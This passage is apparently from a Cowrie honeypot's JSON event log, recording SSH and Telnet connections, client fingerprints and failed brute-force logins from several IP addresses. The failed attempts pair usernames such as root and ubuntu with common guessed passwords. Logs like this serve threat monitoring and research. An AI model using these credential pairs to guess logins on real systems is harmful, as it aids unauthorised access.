-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:43.193445Z","src_ip":"192.109.200.237","session":"7f7144837794","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd123","message":"login attempt [root/P@ssw0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:43.440051Z","src_ip":"192.109.200.237","session":"7f7144837794","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:44.525497Z","src_ip":"192.109.200.237","session":"7f7144837794","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00130891799927,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:45.000420Z","src_ip":"152.42.224.71","session":"3878059cc5e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33550,"dst_ip":"159.203.135.109","dst_port":22,"session":"7afcef33544a","protocol":"ssh","message":"New connection: 192.109.200.237:33550 (159.203.135.109:22) [session: 7afcef33544a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:46.496881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:46.501011Z","src_ip":"192.109.200.237","session":"7afcef33544a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:46.583454Z","src_ip":"192.109.200.237","session":"7afcef33544a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"data","password":"data","message":"login attempt [data/data] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:47.009376Z","src_ip":"192.109.200.237","session":"7afcef33544a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56996,"dst_ip":"10.17.0.5","dst_port":23,"session":"56e9e306c2cd","protocol":"telnet","message":"New connection: 152.42.224.71:56996 (10.17.0.5:23) [session: 56e9e306c2cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:47.851115Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:48.094109Z","src_ip":"192.109.200.237","session":"7afcef33544a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33564,"dst_ip":"159.203.135.109","dst_port":22,"session":"64b8a6103f73","protocol":"ssh","message":"New connection: 192.109.200.237:33564 (159.203.135.109:22) [session: 64b8a6103f73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:49.935131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:49.940389Z","src_ip":"192.109.200.237","session":"64b8a6103f73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:50.089088Z","src_ip":"192.109.200.237","session":"64b8a6103f73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root2","password":"123456","message":"login attempt [root2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:50.334932Z","src_ip":"192.109.200.237","session":"64b8a6103f73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":23572,"dst_ip":"159.203.135.109","dst_port":22,"session":"5471d9d316e4","protocol":"ssh","message":"New connection: 45.156.87.69:23572 (159.203.135.109:22) [session: 5471d9d316e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:50.806840Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:50.891466Z","src_ip":"45.156.87.69","session":"5471d9d316e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57008,"dst_ip":"10.17.0.5","dst_port":23,"session":"528f3281e34e","protocol":"telnet","message":"New connection: 152.42.224.71:57008 (10.17.0.5:23) [session: 528f3281e34e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:50.989467Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:51.419717Z","src_ip":"192.109.200.237","session":"64b8a6103f73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59672,"dst_ip":"159.203.135.109","dst_port":22,"session":"22180c4a7eab","protocol":"ssh","message":"New connection: 192.109.200.237:59672 (159.203.135.109:22) [session: 22180c4a7eab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:53.268042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:53.273329Z","src_ip":"192.109.200.237","session":"22180c4a7eab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:53.355741Z","src_ip":"192.109.200.237","session":"22180c4a7eab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass@123","message":"login attempt [root/Pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:53.604177Z","src_ip":"192.109.200.237","session":"22180c4a7eab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:54.688997Z","src_ip":"192.109.200.237","session":"22180c4a7eab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59688,"dst_ip":"159.203.135.109","dst_port":22,"session":"bad9077f8086","protocol":"ssh","message":"New connection: 192.109.200.237:59688 (159.203.135.109:22) [session: bad9077f8086]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:56.685710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:56.690737Z","src_ip":"192.109.200.237","session":"bad9077f8086","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:56.773270Z","src_ip":"192.109.200.237","session":"bad9077f8086","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwe123","message":"login attempt [ubuntu/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:57.020346Z","src_ip":"192.109.200.237","session":"bad9077f8086","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":18.28609824180603,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:57.372601Z","src_ip":"152.42.224.71","session":"d590c8d189c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.773935079574585,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:57.763306Z","src_ip":"152.42.224.71","session":"528f3281e34e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:58.105122Z","src_ip":"192.109.200.237","session":"bad9077f8086","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54652,"dst_ip":"159.203.135.109","dst_port":22,"session":"1056b874c60e","protocol":"ssh","message":"New connection: 192.109.200.237:54652 (159.203.135.109:22) [session: 1056b874c60e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:41:00.095100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:41:00.127840Z","src_ip":"192.109.200.237","session":"1056b874c60e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:41:00.276431Z","src_ip":"192.109.200.237","session":"1056b874c60e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq123456","message":"login attempt [root/Qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:41:00.577466Z","src_ip":"192.109.200.237","session":"1056b874c60e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58158,"dst_ip":"10.17.0.5","dst_port":23,"session":"75f0f0f8d603","protocol":"telnet","message":"New connection: 152.42.224.71:58158 (10.17.0.5:23) [session: 75f0f0f8d603]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:41:01.241212Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:41:01.663877Z","src_ip":"192.109.200.237","session":"1056b874c60e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":36082,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2e12bfa5928","protocol":"ssh","message":"New connection: 45.156.87.69:36082 (159.203.135.109:22) [session: c2e12bfa5928]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:41:07.537242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:41:07.546214Z","src_ip":"45.156.87.69","session":"c2e12bfa5928","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:41:07.631996Z","src_ip":"45.156.87.69","session":"c2e12bfa5928","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ankurkudintzi","message":"login attempt [root/ankurkudintzi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:41:07.891061Z","src_ip":"45.156.87.69","session":"c2e12bfa5928","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:41:08.985645Z","src_ip":"45.156.87.69","session":"c2e12bfa5928","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":60202,"dst_ip":"159.203.135.109","dst_port":22,"session":"f08cbee624f3","protocol":"ssh","message":"New connection: 51.250.105.222:60202 (159.203.135.109:22) [session: f08cbee624f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:41:18.262386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:41:18.267051Z","src_ip":"51.250.105.222","session":"f08cbee624f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:41:18.392578Z","src_ip":"51.250.105.222","session":"f08cbee624f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"drjynfrnt","message":"login attempt [root/drjynfrnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:41:18.768037Z","src_ip":"51.250.105.222","session":"f08cbee624f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:41:19.896942Z","src_ip":"51.250.105.222","session":"f08cbee624f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55490,"dst_ip":"10.17.0.5","dst_port":23,"session":"071ab8806c95","protocol":"telnet","message":"New connection: 152.42.224.71:55490 (10.17.0.5:23) [session: 071ab8806c95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:41:20.297356Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":38050,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d9197c2fc1b","protocol":"ssh","message":"New connection: 62.133.63.178:38050 (159.203.135.109:22) [session: 2d9197c2fc1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:41:26.887603Z"}
